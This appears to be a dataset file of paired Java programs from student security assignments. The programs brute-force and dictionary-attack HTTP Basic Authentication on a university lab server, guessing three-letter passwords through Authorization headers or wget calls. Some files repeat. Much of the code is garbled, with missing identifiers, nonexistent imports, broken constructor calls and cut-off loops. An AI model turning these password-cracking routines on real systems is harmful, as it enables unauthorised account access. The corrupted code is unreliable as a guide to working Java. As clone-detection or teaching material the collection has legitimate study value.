(Exception e) {;} } } if (!auth) { System.out.println(""Unable determine password""); } else { time = (new Date()).getTime() - start.getTime(); System.out.println(""it took "" + String.valueOf(time) + "" milliseconds crack the password""); } } } class CrackAuth extends Authenticator { char[] password; public CrackAuth(char[] password) { this.password = password; } protected PasswordAuthentication getPasswordAuthentication() { String user = """"; return new PasswordAuthentication(user, password); } } " 070.java," import java.misc.BASE64Encoder; import java.misc.BASE64Decoder; import java.io.*; import java.net.*; import java.util.*; public class Dictionary { public Dictionary(String url, String dictionaryFile) { try{ this.url = url; this.dictionaryPath = dictionaryFile; InputStream fis = new FileInputStream(this.dictionaryPath); dict = new BufferedReader(new InputStreamReader(fis)); }catch(IOException ioe){ System.out.println(""Error opening dictionary file:\n"" +ioe); } } private String url = null; private String dictionaryPath = null; private BufferedReader dict = null; private int attempts = 0; private int passwordSize = 3; public void setPasswordSize(int size){ this.passwordSize = size; } public String getNextPassword()throws IOException{ String line = dict.readLine(); while(line!=null&&line.length()!=this.passwordSize ) line = dict.readLine(); return line; } public String crackPassword(String user) throws IOException, MalformedURLException{ URL url = null; URLConnection urlConnection = null; String outcome = null; String authorization = null; String password = null; BASE64Encoder b64enc = new BASE64Encoder(); InputStream content = null; BufferedReader in = null; while(!""HTTP/1.1 200 OK"".equalsIgnoreCase(outcome)){ url = new URL(this.url); urlConnection = url.openConnection(); urlConnection.setDoInput(true); urlConnection.setDoOutput(true); urlConnection.setRequestProperty(""GET"", url.getPath() + "" HTTP/1.1""); urlConnection.setRequestProperty(""Host"", url.getHost()); password = getNextPassword(); if(password == null) return null; System.out.print(password); authorization = user + "":"" + password; urlConnection.setRequestProperty(""Authorization"", "" ""+ b64enc.encode(authorization.getBytes())); outcome = urlConnection.getHeaderField(null); this.attempts ++; urlConnection = null; url = null; if(this.attempts%51 == 0) for(int b = 0; b < 53;b++) System.out.print(""\b \b""); else System.out.print(""\b\b\b.""); } return password; } public int getAttempts(){ return this.attempts; } public static void main (String[] args) { if(args.length != 3){ System.out.println(""usage: java attacks.Dictionary ""); System.exit(1); } Dictionary dictionary1 = new Dictionary(args[0], args[2]); try{ Calendar cal1=null, cal2=null; cal1 = Calendar.getInstance(); System.out.println(""Cracking started at: "" + cal1.getTime().toString()); String password = dictionary1.crackPassword(args[1]); if(password != null) System.out.println(""\nPassword is: ""+password); else System.out.println(""\nPassword could not retrieved!""); cal2 = Calendar.getInstance(); System.out.println(""Cracking finished at: "" + cal2.getTime().toString()); Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); System.out.println(""Total Time taken crack: "" + (d3.getTime())/1000 + "" sec""); System.out.println(""Total attempts : "" + dictionary1.getAttempts()); }catch(MalformedURLException mue){ mue.printStackTrace(); } catch(IOException ioe){ ioe.printStackTrace(); } } }",069.java," import java.misc.BASE64Encoder; import java.misc.BASE64Decoder; import java.io.*; import java.net.*; import java.util.*; public class BruteForce { static char [] passwordDataSet = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"".toCharArray(); private int indices[] = {0,0,0}; private String url = null; public BruteForce(String url) { this.url = url; } private int attempts = 0; private boolean stopGen = false; public String getNextPassword(){ String nextPassword = """"; for(int i = 0; i ""); System.exit(1); } BruteForce bruteForce1 = new BruteForce(args[0]); try{ Calendar cal1=null, cal2=null; cal1 = Calendar.getInstance(); System.out.println(""Cracking started at: "" + cal1.getTime().toString()); String password = bruteForce1.crackPassword(args[1]); if(password != null) System.out.println(""\nPassword is: ""+password); else System.out.println(""\nPassword could not retrieved!""); cal2 = Calendar.getInstance(); System.out.println(""Cracking finished at: "" + cal2.getTime().toString()); Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); System.out.println(""Total Time taken crack: "" + (d3.getTime())/1000 + "" sec""); System.out.println(""Total attempts : "" + bruteForce1.getAttempts()); }catch(MalformedURLException mue){ mue.printStackTrace(); } catch(IOException ioe){ ioe.printStackTrace(); } } }" 003.java,"import java.io.*; import java.util.*; import java.net.*; import java.net.Authenticator; public class BruteForce { private String result =""""; public class customAuthenticator extends Authenticator { public customAuthenticator(String passwd) { this.pass = passwd; } protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("""",pass.toCharArray()); } public String pass; } public BruteForce() { java.util.Date d = java.util.Calendar.getInstance().getTime(); System.out.println(d.toString()); char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p', 'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G', 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; String record = null; String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; char pass[] = {'x','x','x'}; int count=1; String passwd=new String(); HttpURLConnection connection = null; URL u = null; try { u = new URL(url); } catch (MalformedURLException e) { } for(int a=0;a 'Z' && password[i] < 'a') { password[i] = 'a'; } else if (password[i] > 'z') { if (noLetters == 1 && i == 0) { System.out.println(""Password not found""); System.exit(-1); } password[i] = 'A'; i--; loop = true; if (i<0) { noLetters--; for (int j=0; j maxLetters) { password = dictionary.readLine(); } } catch (IOException e) { e.printStackTrace(); System.exit(-1); } return password.toCharArray(); } public static void main(String args[]) { if (args.length != 3) { System.out.println(""Usage: java Dictionary url user dictionary""); System.exit(-1); } try { location = new URL(args[0]); } catch (MalformedURLException e) { e.printStackTrace(); } user = new String().concat(args[1]); try { dictionary = new BufferedReader(new FileReader(args[2])); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } new Dictionary(); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { char [] currentPassword = nextPassword(); System.out.print(user.concat(""-"")); System.out.println(currentPassword); return new PasswordAuthentication (user, currentPassword); } } } " 208.java," import java.io.*; import java.util.*; public class Dictionary { private DicReader crack; private Vector clients; private int num; privateint bigStart; public int Dictionary() { int i, j; int start, finish; start = 0; finish = 0; crack = new DicReader(""/usr/share/lib/dict/words""); num = crack.getVictor().size(); clients = new Vector( num); j = 0; bigStart = System.currentTimeMillis(); for( i = 0; i < num; i++) { MyClient1 client = new MyClient1(this, i + 1, 80, (String)crack.getVictor().elementAt( i)); clients.add( client); Thread t = new Thread( client); t.start(); j++; if(j == 100) { t = System.currentTimeMillis(); System.out.println(""i = ""+i+"" ""+(String)crack.getVictor().elementAt( i)); finish = 0; while( (finish - t ) < 1000) { finish = System.currentTimeMillis(); } j = 0; } } } public void retire(int MyClient1 ) { bigFinish = t.getTime(); System.out.println(""It took ""+(bigFinish - bigStart)/1000+"" seconds crack the password""); System.exit(0); } public static void main (String[] args) { Dictionary = new Dictionary(); } } ",202.java," import java.io.*; import java.util.*; public class BruteForce { private Cracker crack; private Vector clients; private int num; private int bigStart; public BruteForce() { int i, j; int start, finish; start=finish = 0; crack = new Cracker(); crack.loadLetters(); crack.loadPairs(); crack.loadTriples(); num = crack.getVictor().size(); clients = new Vector( num); j = 0; bigStart = System.currentTimeMillis(); for( i = 0; i < num; i++) { MyClient2 client = new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i)); clients.add( client); Thread t = new Thread( client); t.print(); j++; if(j == 100) { t = System.currentTimeMillis(); System.out.println(""i = ""+i+"" ""+(String)crack.getVictor().elementAt( i)); finish = t; while( (finish - t ) < 1000) { finish = System.currentTimeMillis(); } j = 0; } } } public void retire(int MyClient2 ) { int bigFinish; bigFinish = t.getTime(); System.out.println("" It took ""+(bigFinish - bigStart)/1000+"" ""+""seconds crack password using brute force""); System.exit(0); } public static void main (String[] args) { BruteForce = new BruteForce(); } } " 089.java,"import java.io.*; import java.net.*; import java.security.*; import java.math.*; import java.*; import java.util.*; public class BruteForce { public static void main (String args[]) throws Exception { String retVal = null, StatusCode = ""HTTP/1.1 200 OK""; int found = 0, count = 0, ctrl = 0, flag = 0; stime = System.currentTimeMillis(); char[] c = new char[3]; System.out.println(""Cracking password by Brute Force...""); for(int i=65; ((i<123) && (found == 0)); i++) { for(int j=65; ((j<123) && (found == 0)); j++) { for (int k=65; ((k<123) && (found == 0)); k++) { try { if (ctrl == 0) { c[0] = '\0'; c[1] = '\0'; } else if ((ctrl == 1) && (flag == 0)) { c[0] = '\0'; } c[2] = (char)(k); URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection yc = yahoo.openConnection(); String authString = "":"" + String.valueOf(); String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); yc.setRequestProperty(""Authorization"", "" "" + auth); count++; BufferedReader in = new BufferedReader( new InputStreamReader( yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null){ System.out.println(inputLine); etime = System.currentTimeMillis(); System.out.println(""Password found -- "" + String.valueOf()); System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); found = 1; } in.print(); } catch (Exception ex) {} } ctrl = 1; c[1] = (char)(j); } ctrl = 2; flag = 1; c[0] = (char)(i); } if (found == 0){ System.out.println(""Sorry, password found.""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); } } }",090.java,"import java.io.*; import java.net.*; import java.security.*; import java.math.*; import java.*; import java.util.*; public class Dictionary { public static void main (String args[]) throws Exception { Socket socket = null; DataOutputStream = null; BufferedReader bf = null, fr = null; String retVal = null, StatusCode = ""HTTP/1.1 200 OK""; int found = 0, count = 0; String testpasswd; try { File inputFile = new File(""words""); fr = new BufferedReader(new FileReader(inputFile)); } catch (IOException ex) { ex.printStackTrace(); } stime = System.currentTimeMillis(); System.out.println(""Cracking password by Dictionary...""); while (((testpasswd = fr.readLine()) != null) && (found == 0)) { try { URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection yc = yahoo.openConnection(); String authString = "":"" + testpasswd; String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); yc.setRequestProperty(""Authorization"", "" "" + auth); count++; BufferedReader in = new BufferedReader( new InputStreamReader( yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null){ System.out.println(inputLine); etime = System.currentTimeMillis(); System.out.println(""Password found -- "" + testpasswd); System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); found = 1; } in.print(); } catch (Exception ex) {} } fr.close(); if (found == 0) { System.out.println(""Sorry, password found.""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); } } }" 202.java," import java.io.*; import java.util.*; public class BruteForce { private Cracker crack; private Vector clients; private int num; private int bigStart; public BruteForce() { int i, j; int start, finish; start=finish = 0; crack = new Cracker(); crack.loadLetters(); crack.loadPairs(); crack.loadTriples(); num = crack.getVictor().size(); clients = new Vector( num); j = 0; bigStart = System.currentTimeMillis(); for( i = 0; i < num; i++) { MyClient2 client = new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i)); clients.add( client); Thread t = new Thread( client); t.print(); j++; if(j == 100) { t = System.currentTimeMillis(); System.out.println(""i = ""+i+"" ""+(String)crack.getVictor().elementAt( i)); finish = t; while( (finish - t ) < 1000) { finish = System.currentTimeMillis(); } j = 0; } } } public void retire(int MyClient2 ) { int bigFinish; bigFinish = t.getTime(); System.out.println("" It took ""+(bigFinish - bigStart)/1000+"" ""+""seconds crack password using brute force""); System.exit(0); } public static void main (String[] args) { BruteForce = new BruteForce(); } } ",208.java," import java.io.*; import java.util.*; public class Dictionary { private DicReader crack; private Vector clients; private int num; privateint bigStart; public int Dictionary() { int i, j; int start, finish; start = 0; finish = 0; crack = new DicReader(""/usr/share/lib/dict/words""); num = crack.getVictor().size(); clients = new Vector( num); j = 0; bigStart = System.currentTimeMillis(); for( i = 0; i < num; i++) { MyClient1 client = new MyClient1(this, i + 1, 80, (String)crack.getVictor().elementAt( i)); clients.add( client); Thread t = new Thread( client); t.start(); j++; if(j == 100) { t = System.currentTimeMillis(); System.out.println(""i = ""+i+"" ""+(String)crack.getVictor().elementAt( i)); finish = 0; while( (finish - t ) < 1000) { finish = System.currentTimeMillis(); } j = 0; } } } public void retire(int MyClient1 ) { bigFinish = t.getTime(); System.out.println(""It took ""+(bigFinish - bigStart)/1000+"" seconds crack the password""); System.exit(0); } public static void main (String[] args) { Dictionary = new Dictionary(); } } " 140.java,"import java.io.*; import java.util.*; import java.net.*; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() { } public static void main(String[] args) { try { if (args.length != 2 ) { System.out.println(""Usage: java BruteForce ""); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyBruteForce (args[0], args[1]); timeEnd = System.currentTimeMillis(); System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyBruteForce (String URL, String UserName) { String strPass = """"; char ch1, ch2, ch3; System.out.print(""\n\n\n Applying BruteForce Attack: ""); for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++) { if ( ch1 > 'Z' && ch1 < 'a' ) ch1 = 'a'; for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++) { if ( ch2 > 'Z' && ch2 < 'a' ) ch2 = 'a'; for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++) { if ( ch3 > 'Z' && ch3 < 'a' ) ch3 = 'a'; strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3); System.out.print(""\b\b\b"" + strPass ); boolean boolResult = applyPass ( URL, UserName, strPass ); if (boolResult) { return strPass; } } } } return ""Could not find match""; } private static boolean applyPass (String strURL, String strUserName, String strPass ) { BASE64Encoder myEncoder = new BASE64Encoder (); try { String str = strUserName + "":"" + strPass; String strEncode = myEncoder.encode(str.getBytes()); URL url = new URL (strURL); URLConnection urlConn = url.openConnection(); urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); urlConn.connect(); String strReply = urlConn.getHeaderField(0); if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) { return true; } } catch (Exception e) { e.printStackTrace (); } return false; } } ",142.java,"import java.io.*; import java.util.*; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() { } public static void main(String[] args) { try { if (args.length != 3 ) { System.out.println(""Usage: java BruteForce ""); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyDictionary (args[0], args[1], args [2]); timeEnd = System.currentTimeMillis(); System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyDictionary (String URL, String UserName, String strUrlDictionary) { String strPass = """"; try { FileInputStream fIn = new FileInputStream ( strUrlDictionary ); DataInputStream dtIn = new DataInputStream ( fIn ); System.out.print(""\n\n\n Applying Dictionary Attack: ""); while (dtIn.available() > 0) { strPass = dtIn.readLine(); if (strPass.length() != 3) continue; System.out.print(""\b\b\b"" + strPass ); boolean boolResult = applyPass ( URL, UserName, strPass ); if (boolResult) { dtIn.close(); fIn.close(); return strPass; } } dtIn.close(); fIn.close(); } catch (Exception e) { e.printStackTrace(); } return ""Could not find match""; } private static boolean applyPass (String strURL, String strUserName, String strPass ) { BASE64Encoder myEncoder = new BASE64Encoder (); try { String str = strUserName + "":"" + strPass; String strEncode = myEncoder.encode(str.getBytes()); URL url = new URL (strURL); URLConnection urlConn = url.openConnection(); urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); urlConn.connect(); String strReply = urlConn.getHeaderField(0); if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) { return true; } } catch (Exception e) { e.printStackTrace (); } return false; } } " 216.java," import java.io.*; import java.net.*; import java.util.*; import java.*; public class Dictionary { public static void main(String args[]) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); int flag=1; String filename = ""words""; try { String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/""); String thePassword= new String(); BufferedReader inputStream= new BufferedReader(new FileReader(filename)); String line=inputStream.readLine(); stime = System.currentTimeMillis(); while (line!= null && flag==1) { try { URL url = new URL (urlString); String userPassword = """" + "":"" + line; String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty(""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getContent(); endtime = System.currentTimeMillis(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line2; while ((line2 = in.readLine()) != null) { pw.println (line2); } flag=0; System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds.""); }catch (MalformedURLException e) { flag=1; }catch (IOException e) { flag=1; } line=inputStream.readLine(); } inputStream.close(); } catch(FileNotFoundException e) { System.err.println(""File ""+filename+"" was not found""); } catch(IOException e) { System.err.println(""Error ""); } System.out.println(""content is ""+ sw.toString()); } }",211.java," import java.io.*; import java.net.*; public class BruteForce { public static void main(String args[]) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); int flag=1; String[] letter = {""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"", ""O"",""P"",""Q"",""R"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z"",""a"",""b"",""c"", ""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"", ""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""""}; String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/""); String thePassword= new String(); stime = System.currentTimeMillis(); System.out.println(""""); for(int i=0; i""+ letter[j]+"" elapsed""); } if(flag==0) break; else System.out.println(""letter i ->""+ letter[i]+"" elapsed""); } System.out.println(""content is ""+ sw.toString()); } }" 216.java," import java.io.*; import java.net.*; import java.util.*; import java.*; public class Dictionary { public static void main(String args[]) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); int flag=1; String filename = ""words""; try { String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/""); String thePassword= new String(); BufferedReader inputStream= new BufferedReader(new FileReader(filename)); String line=inputStream.readLine(); stime = System.currentTimeMillis(); while (line!= null && flag==1) { try { URL url = new URL (urlString); String userPassword = """" + "":"" + line; String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty(""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getContent(); endtime = System.currentTimeMillis(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line2; while ((line2 = in.readLine()) != null) { pw.println (line2); } flag=0; System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds.""); }catch (MalformedURLException e) { flag=1; }catch (IOException e) { flag=1; } line=inputStream.readLine(); } inputStream.close(); } catch(FileNotFoundException e) { System.err.println(""File ""+filename+"" was not found""); } catch(IOException e) { System.err.println(""Error ""); } System.out.println(""content is ""+ sw.toString()); } }",061.java," import java.io.*; import java.util.*; import java.net.*; public class Dictionary { public static void main(String[] args) { String attackURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; String userID = """"; String Password=""""; String userPassword=""""; File inputFile = new File(""/usr/share/lib/dict/words""); FileReader fin = null; BufferedReader bf = null; try { startmillisecond = System.currentTimeMillis(); URL url = new URL(attackURL); fin = new FileReader(inputFile); bf = new BufferedReader(fin); int count = 0; while ((Password = bf.readLine()) !=null) { if (Password.length() < 4) { count++; try { userPassword = userID + "":"" + Password; System.out.println(""User & Password :"" + userPassword); String encoding = Base64Converter.encode (userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { System.out.println(line); } endmillisecond = System.currentTimeMillis(); searchmillisecond = endmillisecond - startmillisecond; System.out.println(""Match in "" + searchmillisecond + "" milliseconds ""); System.out.println(""Try in "" + count + "" times ""); System.exit(1); } catch (MalformedURLException e) { System.out.println(""Invalid URL""); } catch (IOException e) { System.out.println(""Error URL""); } } } } catch (Exception ioe) { System.out.println(ioe.getMessage()); } finally { } } } " 145.java," import java.net.*; import java.io.*; import java.util.*; public class Dictionary{ private static URL location; private static String user; private BufferedReader input; private static BufferedReader dictionary; private int maxLetters = 3; public Dictionary() { Authenticator.setDefault(new MyAuthenticator ()); startTime = System.currentTimeMillis(); boolean passwordMatched = false; while (!passwordMatched) { try { input = new BufferedReader(new InputStreamReader(location.openStream())); String line = input.readLine(); while (line != null) { System.out.println(line); line = input.readLine(); } input.close(); passwordMatched = true; } catch (ProtocolException e) { } catch (ConnectException e) { System.out.println(""Failed connect""); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } } endTime = System.currentTimeMillis(); System.out.println(""Total Time: ""+cad.concat(Math.toString(endTime - startTime))); } private char[] nextPassword() { String password = new String(); try { password = dictionary.readLine(); while (password.length() > maxLetters) { password = dictionary.readLine(); } } catch (IOException e) { e.printStackTrace(); System.exit(-1); } return password.toCharArray(); } public static void main(String args[]) { if (args.length != 3) { System.out.println(""Usage: java Dictionary url user dictionary""); System.exit(-1); } try { location = new URL(args[0]); } catch (MalformedURLException e) { e.printStackTrace(); } user = new String().concat(args[1]); try { dictionary = new BufferedReader(new FileReader(args[2])); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } new Dictionary(); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { char [] currentPassword = nextPassword(); System.out.print(user.concat(""-"")); System.out.println(currentPassword); return new PasswordAuthentication (user, currentPassword); } } } ",143.java," import java.net.*; import java.io.*; import java.util.*; public class BruteForce{ private static URL location; private static String user; private BufferedReader input; private char [] password = {'A', 'A', 'A'}; private int noLetters = 3; public BruteForce() { Authenticator.setDefault(new MyAuthenticator ()); startTime = System.currentTimeMillis(); boolean passwordMatched = false; while (!passwordMatched) { try { input = new BufferedReader(new InputStreamReader(location.openStream())); String line = input.readLine(); while (line != null) { System.out.println(line); line = input.readLine(); } input.close(); passwordMatched = true; } catch (ProtocolException e) { } catch (ConnectException e) { System.out.println(""Failed connect""); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } } endTime = System.currentTimeMillis(); System.out.println(""Total Time: ""+cad.concat(Math.toString(endTime - startTime))); } private char[] nextPassword() { char [] currentPassword = new char[noLetters]; for (int i=0; i 'Z' && password[i] < 'a') { password[i] = 'a'; } else if (password[i] > 'z') { if (noLetters == 1 && i == 0) { System.out.println(""Password not found""); System.exit(-1); } password[i] = 'A'; i--; loop = true; if (i<0) { noLetters--; for (int j=0; j "" + count++ ); pass = f; function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/""; prs = rtime.exec(function); InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while( (temp1 = bread.readLine())!= null) { System.out.println(temp1); if(temp1.equals(""HTTP request sent, awaiting response... 200 OK"")) { System.out.println(""The password has is:""+pass); System.exit(0); } } } } fr.print(); bfread.close(); }catch(Exception e){} } } ",137.java," import java.io.*; import java.net.*; import java.*; import java.util.*; public class Dictionary { public static void main( String args[]) { Runtime t = Runtime.getRuntime(); Process pr = null; int count=0; String f,pass,temp1; try{ FileReader fr = new FileReader(""words.txt""); BufferedReader bfread = new BufferedReader(fr); while((bf = bfread.readLine()) != null) { if( f.length() < 4 ) { count++; System.out.println(""The passowrd tried is------>""+""-->""+count); pass = f; f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/""; pr = t.exec(f); InputStreamReader stre = new InputStreamReader(pr.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while( ( bf= bread.readLine())!= null) { if(bf.equals(""HTTP request sent, awaiting response... 200 OK"")) { System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass); System.exit(0); } } } } fr.print(); bfread.print(); }catch(IOException e){} } } " 030.java," import java.awt.*; import java.util.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce { private String userPassword; private static int counter; public BruteForce(String username) { String user; String password; counter = 0; user = username; for (char i='A';i<='z';i++) { if (i == 'Z') i = 'a'; for (char j='A';j<='z';j++) { if (j == 'Z') j = 'a'; for (char k='A';k<='z';k++) { userPassword = user+ "":"" + i + j + k; if (k == 'Z') k = 'a'; System.out.print("".""); if (doEncoding(userPassword)== true) { System.out.println(""\n"" + ""Resultant Password is: "" + i + j + k); return; }; counter++; } } } } private boolean doEncoding(String userPassword) { String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes()); return doAttempt(encoding); } private boolean doAttempt (String encoding) { try { URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection uc = url.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); uc.setRequestProperty (""Get"", ""/SEC/2/ "" + ""HTTP/1.1""); uc.setRequestProperty (""Host"", ""sec-crack.cs.rmit.edu.""); uc.setRequestProperty (""Authorization"", "" "" + encoding); return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""); } catch (MalformedURLException e) { System.out.println (""Invalid URL""); } catch (IOException e) { System.out.println (e.toString() ); } return false; } public static void main(String args[]) { Date sdate = new Date(); System.out.print(""BruteForce Attack starts at:"" + sdate + ""\n""); BruteForce bf = new BruteForce(args[0]); Date edate = new Date(); System.out.print(""BruteForce Attack ends at:"" + sdate + ""\n""); System.out.println(""Time taken by BruteForce is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n""); System.out.print(""Attempts in this session:"" + counter + ""\n""); } } ",032.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.util.*; import java.net.*; public class Dictionary { private String userPassword; private static int counter; public Dictionary(String username) { String user; String password; counter = 0; user = username; try { FileReader fr = new FileReader( ""/usr/share/lib/dict/words"" ); BufferedReader bf = new BufferedReader( fr ); while ((password = bf.readLine()) != null) { userPassword = user + "":"" + password; System.out.print("".""); if (password.length() == 3) if (doEncoding(userPassword)== true) { System.out.println(password); return; } counter++; } } catch ( IOException ioe ) { System.err.println( ioe.toString() ); } } private boolean doEncoding(String userPassword) { String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes()); return doAttempt(encoding); } private boolean doAttempt (String encoding) { try { URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection uc = url.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); uc.setRequestProperty (""Get"", ""/SEC/2/ "" + ""HTTP/1.1""); uc.setRequestProperty (""Host"", ""sec-crack.cs.rmit.edu.""); uc.setRequestProperty (""Authorization"", "" "" + encoding); return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""); } catch (MalformedURLException e) { System.out.println (""Invalid URL""); } catch (IOException e) { System.out.println (e.toString() ); } return false; } public static void main(String args[]) { Date sdate = new Date(); System.out.print(""Starting the Ditionary Attack at:"" + sdate + ""\n""); Dictionary bf = new Dictionary(args[0]); Date edate = new Date(); System.out.print(""Ditionary Attack ends at:"" + sdate + ""\n""); System.out.println(""Time taken by Dictionary is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n""); System.out.print(""Attempts in this session:"" + counter + ""\n""); } } " 237.java," import java.io.*; import java.net.*; import java.util.*; import java.misc.BASE64Encoder; public class Dictionary { private String userId; private String password; ReadDictionary myWords = new ReadDictionary(); public Dictionary() { myWords.openFile(); Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { StringBuffer sb = new StringBuffer(); HttpURLConnection connection; Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println ("" time :"" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""""); setPassword(""rhk8611""); System.out.println(""Attempting get a response : "" +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + "" ""); if (responseCode == HttpURLConnection.HTTP_OK) { retry = false; System.out.println(""**** ACCESS GRANTED *****""); } else { retry = true; throw new IOException( ""HTTP response : "" + String.valueOf(responseCode) + ""\nResponse Message: "" +connection.getResponseMessage() ); } InputStream content = (InputStream)url.getContent(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { sb.append (line); } } catch (MalformedURLException e) { retry=false; System.out.println (""Invalid URL"" + e.getMessage()); } catch (IOException e) { retry=true; connection = null; System.out.println (""Error URL \n"" + e.getMessage()); } } endTime = new Date(); System.out.println (""Total time taken (Sec) :"" + (endTime.getTime() - startTime.getTime())/1000); return sb.toString(); } public static void main (String args[]) { Dictionary myGenerator = new Dictionary(); String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/""); System.out.println("" ACCESSED ->\n"" + pageFound); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = getUserId(); String pass = myWords.readLine(); System.out.println("" Authenticating with -> "" + pass); return new PasswordAuthentication (username, pass.toCharArray()); } } public String getPassword() { return this.password; } public void setPassword(String password) { this.password = password; } public String getUserId() { return this.userId; } public void setUserId(String userId) { this.userId = userId; } } ",235.java," import java.io.*; import java.net.*; import java.util.*; import java.misc.BASE64Encoder; public class BruteForce { private String userId; private String password; private StringBuffer seed= new StringBuffer(""aaa""); private int tries = 1; public BruteForce() { Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { HttpURLConnection connection; StringBuffer sb = new StringBuffer(); Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println ("" time :"" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""""); setPassword(""rhk8611""); System.out.println(""Attempting get a 